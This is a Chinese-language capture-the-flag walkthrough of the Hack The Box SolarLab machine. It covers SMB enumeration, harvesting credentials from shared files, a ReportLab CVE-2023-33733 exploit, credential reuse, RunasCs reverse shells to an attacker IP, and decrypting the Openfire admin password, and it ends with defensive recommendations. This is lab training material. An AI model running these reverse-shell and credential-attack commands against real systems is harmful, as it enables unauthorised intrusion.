HackThebox SolarLab Walkthrough
字数 1520 2025-08-19 12:41:50
SolarLab HTB 渗透测试完整教学文档
1. 初始信息收集
1.1 端口扫描
使用Nmap进行初始扫描:
nmap -A -Pn -sV 10.10.11.16 -oN SolarLab.tcp
扫描结果:
- 80/tcp: HTTP (nginx 1.24.0)
- 135/tcp: MSRPC (Microsoft Windows RPC)
- 139/tcp: NETBIOS-SSN
- 445/tcp: Microsoft-DS (Samba)
1.2 SMB枚举
使用smbmap检查共享权限:
smbmap -H 10.10.11.16 -u " "
发现"Documents"共享有读取权限,下载所有可访问文件:
smbclient //10.10.11.16/Documents/
> prompt OFF
> recurse ON
> mget *
下载的文件:
- desktop.ini
- details-file.xlsx
- old_leave_request_form.docx
- concepts/Training-Request-Form.docx
- concepts/Travel-Request-Sample.docx
2. 凭证收集与分析
2.1 从Excel文件中提取凭证
details-file.xlsx中包含以下凭证信息:
用户名:
Alexander.knight@gmail.com
KAlexander
Alexander.knight@gmail.com
blake.byte
AlexanderK
ClaudiaS
密码:
al;ksdhfewoiuhdkjafblkjadsfgld398sadsknr390
ThisCanB3typedeasily1@
danenacia9234ndadsfawe9dafkn
2.2 密码喷洒攻击
尝试使用收集到的凭证进行密码喷洒,但初始尝试未成功。
3. 全端口扫描
发现遗漏的6791端口:
nmap -p- -Pn 10.10.11.16
nmap -p6791 -A -sV 10.10.11.16
6791端口运行nginx 1.24.0,重定向到:
http://report.solarlab.htb:6791/
4. 登录PDF生成站点
发现用户名格式为"名字+姓氏首字母":
- AlexanderK
- ClaudiaS
- 推测可能存在BlakeB
尝试组合:
用户名: BlakeB
密码: ThisCanB3typedeasily1@
登录成功,进入PDF生成站点。
5. 漏洞利用
5.1 识别漏洞
PDF生成器可能使用Reportlab,存在CVE-2023-33733:
- Reportlab ≤ v3.6.12允许通过特制PDF文件执行任意代码
利用代码:
https://github.com/c53elyas/CVE-2023-33733
5.2 获取初始访问
成功利用漏洞获取初始访问权限。
6. 横向移动
6.1 收集更多凭证
从系统中收集到更多凭证:
blakeb: ThisCanB3typedeasily1@
claudias: 007poiuytrewq
alexanderk: HotP!fireguard
6.2 枚举本地用户
使用Sharpshooter枚举本地用户:
Get-LocalUser
发现用户:
- Administrator
- blake
- DefaultAccount
- Guest
- openfire
- WDAGUtilityAccount
6.3 横向到openfire用户
使用crackmapexec验证凭证:
crackmapexec smb solarlab.htb -u users.txt -p pass.txt --continue-on-success -x whoami
发现openfire用户凭证有效:
solarlab\openfire:HotP!fireguard
6.4 获取openfire访问
使用RunasCs执行powershell:
.\RunasCs.exe openfire HotP!fireguard powershell -r 10.10.14.18:8888
7. 权限提升
7.1 发现Openfire管理员凭证
在openfire程序目录中发现:
embedded-db/openfire.script
包含管理员凭证哈希:
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
加密密钥:
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
7.2 解密密码
使用openfire_decrypt工具解密:
java OpenFireDecryptPass.java becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
获得管理员密码:
ThisPasswordShouldDo!@
7.3 获取管理员权限
使用RunasCs获取管理员shell:
.\RunasCs.exe Administrator ThisPasswordShouldDo!@ powershell -r 10.10.14.18:9999
8. 关键工具与技术总结
-
信息收集工具:
- Nmap (端口扫描)
- smbmap/smbclient (SMB枚举)
-
凭证收集与分析:
- 文件分析 (Excel, Word文档)
- 密码喷洒攻击
-
漏洞利用:
- CVE-2023-33733 (Reportlab RCE)
- GitHub利用代码
-
横向移动工具:
- crackmapexec (凭证验证)
- RunasCs (权限提升)
-
密码解密:
- openfire_decrypt (Openfire密码解密)
-
权限提升技术:
- 服务配置文件中寻找凭证
- 密码重用攻击
9. 防御建议
-
密码策略:
- 避免密码重用
- 实施强密码策略
- 定期轮换凭证
-
服务安全:
- 及时更新软件(如Reportlab)
- 限制SMB共享权限
- 保护配置文件中的敏感信息
-
网络架构:
- 网络分段
- 最小权限原则
- 监控异常登录行为
-
应用安全:
- 输入验证
- 安全文件处理
- 禁用不必要的服务